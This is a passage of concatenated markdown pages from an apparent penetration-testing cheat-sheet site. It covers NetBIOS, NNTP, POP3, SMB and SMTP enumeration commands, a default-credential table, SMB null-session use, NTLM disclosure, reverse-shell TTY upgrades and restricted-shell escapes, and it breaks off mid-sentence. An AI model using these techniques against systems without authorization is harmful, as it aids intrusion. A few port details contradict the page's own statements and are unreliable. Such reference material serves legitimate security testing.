menu: "NetBIOS - 137 / 138 / 139" 3 | title: "NetBIOS (Network Basic Input/Output System) Service Enumeration" 4 | weight: 137 5 | --- 6 | # NetBIOS (Network Basic Input/Output System) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Port/s**: 12 | - NetBIOS Name Service: UDP/137 13 | - NetBIOS Datagram Service: UDP/138 14 | - NetBIOS Session Service: TCP/139 15 | {{}} 16 | 17 | NetBIOS is a non-routable service 18 | that allows applications and computers 19 | to communicate over a local area network (LAN). 20 | 21 | As an API, 22 | NetBIOS relies on network protocols to communicate. 23 | In modern networks, 24 | NetBIOS runs over TCP/IP via the NetBIOS over TCP/IP protocol 25 | or NBT.[^wiki-netbios] 26 | 27 | NetBIOS provides three distinct services: 28 | - Name Service (NetBIOS-NS) for name registration and resolution. 29 | - Datagram Distribution Service (NetBIOS-DGM) for connectionless communication. 30 | - Session Service (NetBIOS-SSN) for connection-oriented communication. 31 | 32 | {{}} 33 | [SMB]({{< ref "smb" >}}) runs **on top** of the Session Service and Datagram Service. 34 | It is not an integral part of NetBIOS. 35 | {{}} 36 | 37 | #### Name Service 38 | 39 | On a NetBIOS network, 40 | applications locate and identify each other 41 | through their NetBIOS names. 42 | NetBIOS Name Service serves much the same purpose as DNS does: 43 | translate human-readable names to IP addresses. 44 | 45 | NetBIOS names are 16 octets long, 46 | however, 47 | Microsoft limits the hostname to 15 characters 48 | and reserves the 16th character 49 | as a NetBIOS Suffix. 50 | This suffix, 51 | aka NetBIOS End Character (endchar), 52 | describes the service or name record type.[^ms-names] 53 | See [NetBIOS Suffixes](#netbios-suffixes). 54 | 55 | In NBT, 56 | NetBIOS-NS runs on UDP port 137. 57 | 58 | #### Datagram Distribution Service 59 | 60 | The Datagram service is an unreliable, 61 | non-sequenced, 62 | connectionless service. 63 | 64 | Datagrams may be sent to a specific name 65 | or explicitly broadcast. 66 | Usually used to broadcast names 67 | and register services.[^rfc-1001] 68 | 69 | In NBT, 70 | NetBIOS-DGM runs on UDP port 138. 71 | 72 | #### Session Service 73 | 74 | The Session service offers a reliable message exchange, 75 | conducted between a pair of NetBIOS applications. 76 | Sessions are full-duplex, 77 | sequenced, 78 | and reliable.[^rfc-1001] 79 | 80 | The service facilitates authentication 81 | and provides access to shared resources, 82 | such as files and printers. 83 | It is where [NULL Sessions]({{< ref "smb#null-session" >}}) are established. 84 | 85 | In NBT, 86 | NetBIOS-DGM runs on UDP port 139. 87 | 88 | ## Enumeration 89 | 90 | #### nmblookup [^nmblookup] 91 | ```sh 92 | nmblookup -A {{< param "war.rhost" >}} 93 | ``` 94 | {{
}} 95 | - ``: NetBIOS Name 96 | - `-A `: Interpret name as an IP Address and do a node status query on this address. 97 | {{
}} 98 | 99 | #### nbtscan [^nbtscan] 100 | ```sh 101 | nbtscan {{< param "war.rhost" >}} 102 | ``` 103 | 104 | {{}} 105 | Continue NetBIOS enumeration with [SMB]({{< ref "smb" >}}). 106 | {{}} 107 | 108 | ## NetBIOS Exploits Search 109 | 110 | Refer to [Exploits Search]({{< ref "exploits-search">}}) 111 | 112 | ## NetBIOS Suffixes [^mcnab-nsa] 113 | 114 | | Name | Suffix | Type | Service | 115 | | -------------------- | ------ | ---- | -------------------------------------- | 116 | | `` | 00 | U | Workstation | 117 | | `` | 01 | U | Messenger | 118 | | `<\\−−__MSBROWSE__>` | 01 | G | Master Browser | 119 | | `` | 03 | U | Messenger | 120 | | `` | 06 | U | RAS Server | 121 | | `` | 1F | U | NetDDE | 122 | | `` | 20 | U | File Server | 123 | | `` | 21 | U | RAS Client | 124 | | `` | 22 | U | Microsoft Exchange Interchange | 125 | | `` | 23 | U | Microsoft Exchange Store | 126 | | `` | 24 | U | Microsoft Exchange Directory | 127 | | `` | 30 | U | Modem Sharing Server | 128 | | `` | 31 | U | Modem Sharing Client | 129 | | `` | 43 | U | SMS Clients Remote Control | 130 | | `` | 44 | U | SMS Administrators Remote Control Tool | 131 | | `` | 45 | U | SMS Clients Remote Chat | 132 | | `` | 46 | U | SMS Clients Remote Transfer | 133 | | `` | 4C | U | DEC Pathworks TCPIP | 134 | | `` | 42 | U | McAfee Antivirus | 135 | | `` | 52 | U | DEC Pathworks TCPIP | 136 | | `` | 87 | U | Microsoft Exchange MTA | 137 | | `` | 6A | U | Microsoft Exchange IMC | 138 | | `` | BE | U | Network Monitor Agent | 139 | | `` | BF | U | Network Monitor Application | 140 | | `` | 03 | U | Messenger | 141 | | `` | 00 | G | Domain Name | 142 | | `` | 1B | U | Domain Master Browser | 143 | | `` | 1C | G | Domain Controllers | 144 | | `` | 1D | U | Master Browser | 145 | | `` | 1E | G | Browser Service Elections | 146 | | `` | 1C | G | IIS | 147 | | `` | 00 | U | IIS | 148 | | `` | [2B] | U | IBM Lotus Notes Server | 149 | | `IRISMULTICAST` | [2F] | G | IBM Lotus Notes | 150 | | `IRISNAMESERVER` | [33] | G | IBM Lotus Notes | 151 | | `Forte_$ND800ZA` | [20] | U | DCA IrmaLan Gateway Server Service | 152 | 153 | ## Further Reading 154 | 155 | - [Windows File Sharing: Facing the Mystery by Daniel Miessler](https://danielmiessler.com/blog/windowsfilesharing/) 156 | 157 | [^wiki-netbios]: Contributors to Wikimedia projects. “NetBIOS - Wikipedia.” Wikipedia, the Free Encyclopedia, Wikimedia Foundation, Inc., 2 Feb. 2003, https://en.wikipedia.org/wiki/NetBIOS. 158 | [^ms-names]: Deland-Han. “Name Computers, Domains, Sites, and OUs - Windows Server | Microsoft Docs.” Technical Documentation, API, and Code Examples | Microsoft Docs, https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/naming-conventions-for-computer-domain-site-ou. 159 | [^mcnab-nsa]: McNab, Chris. Network Security Assessment. “O’Reilly Media, Inc.,” 2007, p. 195. 160 | [^rfc-1001]: “RFC 1001 - Protocol Standard for a NetBIOS Service on a TCP/UDP Transport: Concepts and Methods.” IETF Tools, https://tools.ietf.org/html/rfc1001. 161 | [^nmblookup]: “Nmblookup.” Samba - Opening Windows to a Wider World, https://www.samba.org/samba/docs/current/man-html/nmblookup.1.html. 162 | [^nbtscan]: “Nbtscan - NETBIOS Nameserver Scanner.” Steve Friedl’s Home Page, http://unixwiz.net/tools/nbtscan.html. Accessed 28 Sept. 163 | -------------------------------------------------------------------------------- /content/services/nntp.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "NNTP - 119 / 433 / 563" 3 | title: "NNTP (Network News Transfer Protocol) Service Enumeration" 4 | weight: 119 5 | --- 6 | # NNTP (Network News Transfer Protocol) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Ports** 12 | - NNTP: 119 13 | - NNTPS (NNTPS over TLS): 563 14 | - NNSP (server-server bulk transfer): 433 15 | {{}} 16 | 17 | NNTP is an application-layer protocol 18 | used for transporting [Usenet](https://en.wikipedia.org/wiki/Usenet) news articles 19 | between news servers. 20 | Client applications can also 21 | inquire, 22 | retrieve, 23 | and post articles. 24 | 25 | ## Banner Grabbing 26 | 27 | #### Telnet 28 | ```sh 29 | telnet {{< param "war.rhost" >}} 119 30 | ``` 31 | 32 | #### Netcat 33 | ```sh 34 | nc -n {{< param "war.rhost" >}} 119 35 | ``` 36 | 37 | #### openssl [^openssl] 38 | ```sh 39 | openssl s_client -crlf -connect {{< param "war.rhost" >}}:563 40 | ``` 41 | {{
}} 42 | - `s_client`: SSL/TLS client program. 43 | - `-crlf`: translate a line feed from the terminal into `CR+LF`. 44 | {{
}} 45 | 46 | ## Commands 47 | 48 | Various commands allow clients to retrieve, 49 | send, 50 | and post articles. 51 | The difference between send and post 52 | is that the latter involves 53 | articles with incomplete header information. 54 | 55 | NNTP also provides 56 | active and passive news transfer, 57 | or "pushing" and "pulling" respectively. 58 | When pushing, 59 | the client offers an article through `IHAVE `. 60 | When pulling, 61 | the client requests a list of available articles 62 | for the specified date 63 | through `NEWNEWS `. 64 | 65 | Several commands also allow clients to retrieve 66 | the article header and body separately, 67 | or even single header lines from a range of articles. 68 | [^oreilly-nntp] 69 | 70 | {{}} 71 | NNTP commands responses always end with a period (`.`) on a line by itself. 72 | {{}} 73 | 74 | ```txt 75 | CAPABILITIES List server capabilities. 76 | HELP Show available commands. 77 | MODE READER Use Reader mode. Reader mode uses a lot of commands, use HELP. 78 | LIST List groups. 79 | SELECT Select group. 80 | LISTGROUP List article in a group. 81 | HEAD Retrieve article header. 82 | BODY Retrieve article body. 83 | ARTICLE Retrieve article. 84 | POST Post article. 85 | ``` 86 | 87 | ## NNTP Exploits Search 88 | 89 | Refer to [Exploits Search]({{< ref "exploits-search">}}) 90 | 91 | [^rfc977]: “RFC 977 - Network News Transfer Protocol.” IETF Tools, https://tools.ietf.org/html/rfc977. 92 | [^openssl]: OpenSSL Foundation, Inc. “/Docs/Manmaster/Man1/Openssl.Html.” OpenSSL.Org, https://www.openssl.org/docs/manmaster/man1/openssl.html. 93 | [^oreilly-nntp]: “22. NNTP and the Nntpd Daemon - Linux Network Administrator’s Guide, Second Edition [Book].” O’Reilly Online Learning, O’Reilly Media, Inc., https://www.oreilly.com/library/view/linux-network-administrators/1565924002/ch22.html. 94 | -------------------------------------------------------------------------------- /content/services/pop.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "POP - 110 / 995" 3 | title: "POP (Post Office Protocol) Service Enumeration" 4 | weight: 110 5 | --- 6 | # POP (Post Office Protocol) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Ports** 12 | - POP3: 110 13 | - POP3S (POP3 over TLS or SSL): 995 14 | {{}} 15 | 16 | POP, 17 | or POP3 (POP version 3), 18 | is an application-layer protocol 19 | used by email clients 20 | to retrieve messages from a mail server. 21 | It provides access via IP to mailboxes 22 | maintained on a server. 23 | 24 | Because POP was designed for temporary Internet connection, 25 | clients connect, 26 | retrieve messages, 27 | store them on the client, 28 | and finally delete them from the server. 29 | Clients also have the option 30 | to leave messages on the server. 31 | By contrast, 32 | [IMAP]({{< ref "imap" >}}) was designed to normally leave all messages 33 | on the server 34 | allowing multiple client applications 35 | as online and offline modes. 36 | [^pop3-wiki] 37 | 38 | ## Banner Grabbing 39 | 40 | #### Telnet 41 | ```sh 42 | telnet {{< param "war.rhost" >}} 110 43 | ``` 44 | 45 | #### Netcat 46 | ```sh 47 | nc -n {{< param "war.rhost" >}} 110 48 | ``` 49 | 50 | #### openssl [^openssl] 51 | ```sh 52 | openssl s_client -crlf -connect {{< param "war.rhost" >}}:995 53 | ``` 54 | {{
}} 55 | - `s_client`: SSL/TLS client program. 56 | - `-crlf`: translate a line feed from the terminal into `CR+LF`. 57 | {{
}} 58 | 59 | ## NTLM Information Disclosure 60 | 61 | See [SMTP NTLM Information Disclosure]({{< ref "smtp#ntlm-information-disclosure" >}}) 62 | 63 | #### [pop3-ntlm-info](https://nmap.org/nsedoc/scripts/pop3-ntlm-info.html) NSE Script 64 | 65 | ```sh 66 | nmap -p 110,995 --script pop3-ntlm-info {{< param "war.rhost" >}} 67 | ``` 68 | 69 | ## Capabilities 70 | 71 | POP3 capabilities are defined in [RFC2449](https://tools.ietf.org/html/rfc2449#section-6). The `CAPA` command allows a client to ask a server what commands it supports and possibly any site-specific policy. 72 | 73 | #### [pop3-capabilities](https://nmap.org/nsedoc/scripts/pop3-capabilities.html) NSE Script 74 | 75 | ```sh 76 | nmap -p 110,995 --script pop3-capabilities {{< param "war.rhost" >}} 77 | ``` 78 | 79 | ## Commands 80 | 81 | ```txt 82 | USER Username or mailbox. 83 | PASS Server/mailbox-specific password. 84 | STAT Number of messages in the mailbox. 85 | LIST [ message# ] Messages summary. 86 | RETR [ message# ] Retrieve selected message. 87 | DELE [ message# ] Delete selected message. 88 | RSET Reset the session. Undelete deleted messages. 89 | NOOP No-op. Keeps connection open. 90 | QUIT End session. 91 | ``` 92 | 93 | {{}} 94 | Server responses will start either with a successful (`+OK`) or failed status `-ERR`. 95 | {{}} 96 | 97 | ## POP3 Exploits Search 98 | 99 | Refer to [Exploits Search]({{< ref "exploits-search">}}) 100 | 101 | [^openssl]: OpenSSL Foundation, Inc. “/Docs/Manmaster/Man1/Openssl.Html.” OpenSSL.Org, https://www.openssl.org/docs/manmaster/man1/openssl.html. 102 | [^pop3-wiki]: Contributors to Wikimedia projects. “Post Office Protocol - Wikipedia.” Wikipedia, the Free Encyclopedia, Wikimedia Foundation, Inc., 9 Sept. 2001, https://en.wikipedia.org/wiki/Post_Office_Protocol. 103 | -------------------------------------------------------------------------------- /content/services/smb.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "SMB - 139 / 445" 3 | title: "SMB (Server Message Block) Service Enumeration" 4 | weight: 139 5 | --- 6 | # SMB (Server Message Block) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Ports** 12 | - SMB over NBT ([NetBIOS]({{< ref "netbios" >}}) over TCP/IP): 139 13 | - SMB over TCP/IP: 445 14 | {{}} 15 | 16 | SMB is a network communication protocol for providing shared access to files, printers, and serial ports between nodes on a network. It also provides an authenticated IPC (inter-process communication) mechanism.[^wiki-smb] 17 | 18 | #### Windows SMB Ports and Protocols 19 | 20 | Originally, 21 | in Windows NT, 22 | SMB ran on top of NBT (NetBIOS over TCP/IP), 23 | which uses ports UDP 137 and 138, 24 | and TCP 139. 25 | With Windows 2000, 26 | was introduced what Microsoft calls "direct hosting", 27 | the option to run "NetBIOS-less" SMB, 28 | directly over TCP/445. 29 | 30 | Older versions of Windows 31 | (with NBT enabled) 32 | will try to connect to both port 139 33 | and 445 simultaneously, 34 | while in newer versions, 35 | port 139 is a fall-back port, 36 | as clients will try to connect to port 445 37 | by default.[^vidstrom-smb-ports] 38 | 39 | ## SMB Host Discovery 40 | 41 | Refer to [host discovert with nbtscan]({{< ref "host-discovery#nbtscan---netbios-nbtscan" >}}). 42 | 43 | ## Server Version 44 | 45 | #### Metasploit SMB Auxiliary Module [^metasploit-smb-auxiliary-module] 46 | 47 | ```sh 48 | msf> use auxiliary/scanner/smb/smb_version 49 | msf> set rhost {{< param "war.rhost" >}} 50 | msf> run 51 | ``` 52 | 53 | ## Common Login Credentials 54 | 55 | Backup and Management software requires dedicated user accounts on the server or local machine to function, and are often set with a weak password. [^mcnab-nsa] 56 | 57 | | Usernmae | Password | 58 | | -------- | -------- | 59 | | (blank) | (blank) | 60 | | `Administrator` `admin` `guest` | (blank) `admin` `password` | 61 | | `arcserve` | `arcserve` `backup` | 62 | | `tivoli` | `tivoli` | 63 | | `backupexec` | `backupexec` `backup` | 64 | | `test` | `test` | 65 | 66 | ## Enumeration 67 | 68 | {{}} 69 | If `Protocol negotiation failed: NT_STATUS_IO_TIMEOUT` is returned, 70 | refer to [SMB Protocol Negotiation Failed]({{< ref "smb-protocol-negotiation-failed" >}}) 71 | {{}} 72 | 73 | #### enum4linux [^enum4linux] 74 | 75 | ```sh 76 | enum4linux -a {{< param "war.rhost" >}} 77 | ``` 78 | 79 | With credentials: 80 | ```sh 81 | enum4linux -a -u "" -p "" {{< param "war.rhost" >}} 82 | ``` 83 | 84 | {{
}} 85 | - `-a`: Do all simple enumeration (-U -S -G -P -r -o -n -i). 86 | - `-u `: specify username to use. 87 | - `-p `: specify password to use. 88 | {{
}} 89 | 90 | #### NSE Scripts 91 | 92 | ```sh 93 | nmap --script "safe or smb-enum-*" -p 139,445 {{< param "war.rhost" >}} 94 | ``` 95 | 96 | {{}} 97 | NSE SMB enumeration scripts: 98 | - `smb-enum-domains` 99 | - `smb-enum-groups` 100 | - `smb-enum-processes` 101 | - `smb-enum-services` 102 | - `smb-enum-sessions` 103 | - `smb-enum-shares` 104 | - `smb-enum-users` 105 | {{}} 106 | 107 | #### smbclient [^smbclient] 108 | 109 | List available shares. 110 | 111 | ```sh 112 | smbclient -N -L //{{< param "war.rhost" >}} 113 | ``` 114 | 115 | Connect to a share. 116 | 117 | ```sh 118 | smbclient -N //{{< param "war.rhost" >}}/Share 119 | ``` 120 | 121 | {{
}} 122 | - `-N`: remove the password prompt from the client to the user. 123 | - `-L`: list services available on the server. 124 | {{
}} 125 | 126 | ## RPC Enumeration 127 | 128 | {{}} 129 | `rpcclient`, `impacket`, and more, under [RPC Enumeration]({{< ref "msrpc#enumeration" >}}). 130 | {{}} 131 | 132 | ## Null Session 133 | 134 | ### Windows Administrative Shares 135 | 136 | Administrative shares are hidden shares that provide administrators the ability to remotely manage hosts. **They are automatically created and enabled by default**. 137 | 138 | {{}} 139 | It is worth clarifying these shares are not hidden but removed from views just by appending a dollar sign (`$`) to the share name. Ultimately, the share will be part of the result if listing from a Unix-based system or by using: `net share` and `net view /all`. 140 | {{}} 141 | 142 | Various shares are exposed to clients via SMB, as follows: 143 | - `C$`: C Drive on the remote machine. 144 | - `Admin$`: Windows installation directory. 145 | - `IPC$`: The inter-process communication or IPC share. 146 | - `SYSVOL` and `NETLOGON`: domain controller shares. 147 | - `PRINT$` and `FAX$`: printer and fax shares. 148 | 149 | ### IPC$ Share 150 | 151 | `IPC$` is a special share 152 | used to facilitate inter-process communication (`IPC`). 153 | It does not allow access to files or directories, 154 | but it allows to communicate 155 | with processes running on the remote system. 156 | 157 | Specifically, **`IPC$`, exposes named pipes**, 158 | which can be written or read 159 | to communicate with remote processes. 160 | These named pipes 161 | are opened by the application 162 | and registered with SMB 163 | so that it can be exposed by the `IPC$` share. 164 | 165 | They are usually used 166 | to perform specific functions on the remote system, 167 | also known as **RPC** or remote procedure calls. 168 | 169 | Some versions of Windows 170 | allow you to authenticate 171 | and mount the `IPC$` share 172 | without providing a username and password. 173 | Such a connection is often called a NULL session, 174 | which, 175 | despite its limited privileges, 176 | could be used to make multiple RPC calls 177 | and obtain useful information 178 | about the remote system.[^sensepost-ipc] 179 | 180 | {{}} 181 | RPC endpoints exposed via IPC$ 182 | include the Server service, 183 | Task Scheduler, 184 | Local Security Authority (LSA), 185 | and Service Control Manager (SCM). 186 | Upon authenticating, 187 | you can use these 188 | to enumerate user and system details, 189 | access the registry, 190 | and execute commands 191 | {{}} 192 | 193 | In Linux 194 | [enum4linux]({{< ref "#enum4linux-enum4linux" >}}) utility 195 | can be used to dump data 196 | from these service 197 | 198 | Refer to [MSRPC]({{< ref "msrpc" >}}) for more about RPC. 199 | 200 | ## Mount Shares [^mount-smb] 201 | 202 | ```sh 203 | mount -t cifs -o username=user,password=password //{{< param "war.rhost" >}}/Share /mnt/share 204 | ``` 205 | 206 | ## Download Files 207 | 208 | Create a tar file of the files beneath `users/docs`. [^smbclient] 209 | 210 | ```sh 211 | smbclient //{{< param "war.rhost" >}}/Share "" -N -Tc backup.tar users/docs 212 | ``` 213 | 214 | {{
}} 215 | - `-N`: remove the password prompt from the client to the user. 216 | - `-T`: TAR options. 217 | - `c`: Create a tar backup archive on the local system. 218 | {{
}} 219 | 220 | ## Brute Forcing 221 | 222 | Refer to [SMB Brute Forcing]({{< ref "brute-forcing#smb">}}) 223 | 224 | ## SMB Exploits Search 225 | 226 | Refer to [Exploits Search]({{< ref "exploits-search">}}) 227 | 228 | 229 | [^wiki-smb]: Contributors to Wikimedia projects. “Server Message Block - Wikipedia.” Wikipedia, the Free Encyclopedia, Wikimedia Foundation, Inc., 26 Oct. 2003, https://en.wikipedia.org/wiki/Server_Message_Block. 230 | [^vidstrom-smb-ports]: “The Use of TCP Ports 139 and 445 in Windows.” Vidstrom Labs, https://vidstromlabs.com/blog/the-use-of-tcp-ports-139-and-445-in-windows/. 231 | [^metasploit-smb-auxiliary-module]: “Scanner SMB Auxiliary Modules - Metasploit Unleashed.” Infosec Training and Penetration Testing | Offensive Security, https://www.offensive-security.com/metasploit-unleashed/scanner-smb-auxiliary-modules/. 232 | [^mcnab-nsa]: McNab, Chris. Network Security Assessment. “O’Reilly Media, Inc.,” 2007, p. 281. 233 | [^smbclient]: “Smbclient.” Samba - Opening Windows to a Wider World, https://www.samba.org/samba/docs/current/man-html/smbclient.1.html. 234 | [^sensepost-ipc]: “A New Look at Null Sessions and User Enumeration.” SensePost, https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/. 235 | [^mount-smb]: “Mounting Samba Shares from a Unix Client.” SambaWiki, https://wiki.samba.org/index.php/Mounting_samba_shares_from_a_unix_client. 236 | [^enum4linux]: “Enum4linux.” Enum4linux | Portcullis Labs, Portcullis Computer Security Ltd & Portcullis Inc., 16 Sept. 2008, https://labs.portcullis.co.uk/tools/enum4linux/. 237 | -------------------------------------------------------------------------------- /content/services/smtp.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: "SMTP - 25 / 465 / 587" 3 | title: "SMTP (Simple Mail Transfer Protocol) Service Enumeration" 4 | weight: 25 5 | --- 6 | # SMTP (Simple Mail Transfer Protocol) 7 | 8 | ## At a Glance 9 | 10 | {{}} 11 | **Default Ports** 12 | - SMTP Relay (server-server communication): 25 13 | - SMTP Message Submission (client-server communcation): 578 14 | - SMTPS (Deprecated): 465 15 | {{}} 16 | 17 | SMTP is a communication protocol 18 | for email transmission. 19 | It is commonly used to 20 | relay and submit messages 21 | to another email servers. 22 | 23 | SMTP is a delivery protocol only. 24 | Meaning mail is "pushed" 25 | to a destination mail server, 26 | or next-hop server, 27 | as it arrives. 28 | Mail is routed 29 | based on the destination server, 30 | not individual users 31 | to which it is addressed. 32 | Other protocols, 33 | such as the [Post Office Protocol (POP)]({{< ref "pop">}}) 34 | and the [Internet Message Access Protocol (IMAP)]({{< ref "imap" >}}) 35 | are specifically designed for use by individual users 36 | retrieving messages and managing mailboxes. 37 | [^rfc-5321] 38 | 39 | Communication between sender and receiver 40 | is made by issuing command strings. 41 | See [SMTP commands reference](https://tools.ietf.org/html/rfc5321#section-4.1). 42 | 43 | ## Banner Grabbing 44 | 45 | ### SMTP 46 | 47 | #### Telnet 48 | ```sh 49 | telnet {{< param "war.rhost" >}} 25 50 | ``` 51 | 52 | #### Netcat 53 | ```sh 54 | nc -n {{< param "war.rhost" >}} 25 55 | ``` 56 | 57 | ### SMPTS 58 | 59 | #### openssl [^openssl] 60 | ```sh 61 | openssl s_client -starttls smtp -crlf -connect {{< param "war.rhost" >}}:587 62 | ``` 63 | {{
}} 64 | - `s_client`: SSL/TLS client program. 65 | - `-starttls `: send the protocol-specific message(s) to switch to TLS for communication. 66 | - `-crlf`: translate a line feed from the terminal into `CR+LF`. 67 | {{
}} 68 | 69 | ## Enumeration 70 | 71 | #### [smtp-commands](https://nmap.org/nsedoc/scripts/smtp-commands.html) NSE Script 72 | 73 | ```sh 74 | nmap -p 25,465,587 --script smtp-commands {{< param "war.rhost" >}} 75 | ``` 76 | 77 | #### [smtp-enum-users](https://nmap.org/nsedoc/scripts/smtp-enum-users.html) NSE Script 78 | 79 | ```sh 80 | nmap -p 25,465,587 --script smtp-enum-users {{< param "war.rhost" >}} 81 | ``` 82 | 83 | ## NTLM Information Disclosure 84 | 85 | On Windows, 86 | with NTLM authentication enabled, 87 | sending a SMTP NTLM authentication request 88 | with null credentials 89 | will cause the remote service 90 | to respond with a NTLMSSP message 91 | disclosing information to include 92 | NetBIOS, DNS, 93 | and OS build version. 94 | [^nse-smtp-nltm-info] 95 | [^ntlm-disclosure] 96 | 97 | #### Manually 98 | 99 | ```sh 100 | telnet {{< param "war.rdomain" >}} 587 101 | ... 102 | >> HELO 103 | 250 example.com Hello [x.x.x.x] 104 | >>AUTH NTLM 334 105 | NTLM supported 106 | >>TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 107 | 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA 108 | ``` 109 | 110 | #### [smtp-ntlm-info](https://nmap.org/nsedoc/scripts/smtp-ntlm-info.html) NSE Script 111 | 112 | ```sh 113 | nmap -p 587 --script smtp-ntlm-info --script-args smtp-ntlm-info.domain={{< param "war.rdomain" >}} {{< param "war.rhost" >}} 114 | ``` 115 | 116 | ## Commands 117 | 118 | ```txt 119 | HELO Identify to the SMTP server. 120 | EHLO Alternative HELO for Extended SMTP protocol. 121 | MAIL FROM: Sender's email address. 122 | RCPT TO: Recipient's email address. 123 | DATA Initiate message content transfer. Command is terminated with a line containing only a . 124 | RSET Reset the session. Connection will not be closed. 125 | VRFY Verify username or mailbox. 126 | NOOP No-op. Keeps connection open. 127 | QUIT Ends session. 128 | ``` 129 | 130 | {{}} 131 | Sessions must start with HELO and end with QUIT. 132 | {{}} 133 | 134 | ## SMTP Exploits Search 135 | 136 | Refer to [Exploits Search]({{< ref "exploits-search">}}) 137 | 138 | ## Configuration files 139 | 140 | ``` 141 | sendmail.cf 142 | submit.cf 143 | ``` 144 | 145 | [^rfc-5321]: “RFC 5321 - Simple Mail Transfer Protocol.” IETF Tools, https://tools.ietf.org/html/rfc5321.. 146 | [^openssl]: OpenSSL Foundation, Inc. “/Docs/Manmaster/Man1/Openssl.Html.” OpenSSL.Org, https://www.openssl.org/docs/manmaster/man1/openssl.html. 147 | [^nse-smtp-nltm-info]: “Smtp-Ntlm-Info NSE Script.” Nmap: The Network Mapper - Free Security Scanner, https://nmap.org/nsedoc/scripts/smtp-ntlm-info.html. 148 | [^ntlm-disclosure]: m8r0wn. “Internal Information Disclosure Using Hidden NTLM Authentication | by M8r0wn | Medium.” Medium, Medium, 9 Mar. 2020, https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666. 149 | -------------------------------------------------------------------------------- /content/shells/_index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Shells 3 | weight: 401 4 | bookCollapseSection: true 5 | --- 6 | -------------------------------------------------------------------------------- /content/shells/full-tty.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: Upgrade to Full TTY 3 | title: Upgrade Simple Shells to Fully Interactive TTYs 4 | weight: 402 5 | --- 6 | 7 | # Upgrade to Fully Interactive TTYs 8 | 9 | ## At a Glance 10 | 11 | More often than not, reverse, or bind shells are shells with limited interactive capabilities. Meaning no job control, no auto-completion, no `STDERR` output, and, most important, poor signal handling and limited commands support. To fully leverage the shell it is convenient to upgrade to an interactive TTY with extended features. 12 | 13 | {{}} 14 | To check if the shell is a TTY shell use the `tty` command. 15 | {{}} 16 | 17 | ### Shell to Bash 18 | 19 | Upgrade from shell to bash. 20 | 21 | ```sh 22 | SHELL=/bin/bash script -q /dev/null 23 | ``` 24 | 25 | ### Python PTY Module [^python-pty-module] 26 | 27 | Spawn `/bin/bash` using [Python's PTY module](https://docs.python.org/3/library/pty.html), and connect the controlling shell with its standard I/O. 28 | 29 | ```sh 30 | python -c 'import pty; pty.spawn("/bin/bash")' 31 | ``` 32 | 33 | ### Fully Interactive TTY 34 | 35 | Background the current remote shell (`^Z`), update the **local** terminal line settings with `stty`[^stty] and bring the remote shell back. 36 | 37 | ```sh 38 | stty raw -echo && fg 39 | ``` 40 | 41 | After bringing the job back the cursor will be pushed to the left. Reinitialize the terminal with `reset`. 42 | 43 | [^python-pty-module]: “Pty — Pseudo-Terminal Utilities.” 3.8.3 Documentation, https://docs.python.org/3/library/pty.html. 44 | [^stty]: “Stty.” Linux Manual Page, https://man7.org/linux/man-pages/man1/stty.1.html. 45 | -------------------------------------------------------------------------------- /content/shells/restricted-shells.md: -------------------------------------------------------------------------------- 1 | --- 2 | menu: Escape Restricted Shells 3 | title: How to Escape from Restricted Shells 4 | weight: 403 5 | --- 6 | 7 | # Escape from Restricted Shells 8 | 9 | ## At a Glance 10 | 11 | Restricted shells 12 | limit the default available capabilities 13 | of a regular shell 14 | and allow only a subset of system commands. 15 | Typically, 16 | a combination of some or all 17 | of the following restrictions 18 | are set[^sans-restricted-shells]: 19 | 20 | - Using the `cd` command. 21 | - Setting or unsetting environment variables. 22 | - Commands that contain slashes. 23 | - Filename containing a slash as an argument to the `.` built-in command. 24 | - Filename containing a slash as an argument to the `-p` option to the `hash` built-in command. 25 | - Importing function definitions from the shell environment at startup. 26 | - Parsing the value of `SHELLOPTS` from the shell environment at startup. 27 | - Output redirection using the `>`, `>|`, `"`, `>&`, `&>`, and `>>` operators. 28 | - Using `-exec` built-in to replace the shell with another command. 29 | - Adding or deleting built-in commands with the `-f` and `-d` options to the enable built-in. 30 | - Using the `enable` built-in command to enable disabled shell built-ins. 31 | - Specifying the `-p` option to the `command` built-in. 32 | - Turning off restricted mode with `set +r` or `set +o restricted`. 33 | 34 | ## Reconnaissance 35 | 36 | The `env` command 37 | returns information 38 | about the current `SHELL` and `PATH`. 39 | If it's not available, 40 | try echoing `$0` and `$PATH` 41 | separately. 42 | [^0-nixcraft] 43 | 44 | {{}} 45 | `$0` returns the name of the running process. 46 | If used inside of a shell 47 | it will return the name of the shell. 48 | {{}} 49 | 50 | List the `PATH` content 51 | to see which commands are available. 52 | If `ls` is not available, 53 | you can `echo *` to "glob" 54 | the directory's content. 55 | 56 | ```sh 57 | echo /usr/local/rbin/* 58 | ``` 59 | 60 | Research each available command 61 | to see if there are known shell escapes associated with them. 62 | Some of the techniques can be combined together. 63 | 64 | ## Environment Variables 65 | 66 | Look for writable variables. 67 | Execute `export -p` to list exported variables. 68 | Most of the time `SHELL` and `PATH` will be `-rx`, 69 | meaning they are executable but not writable. 70 | If they are writable, 71 | simply set `SHELL` to your shell of choice, 72 | or `PATH` to a directory with exploitable commands. 73 | 74 | ## Copying Files 75 | 76 | Try to find writable directories 77 | where you can execute commands from, 78 | inside, 79 | or outside your `PATH`. 80 | 81 | {{}} 82 | If you're able 83 | to copy a file into `PATH`, 84 | then you'll be able 85 | to bypass the forward-slash restriction. 86 | {{}} 87 | 88 | Other ways to 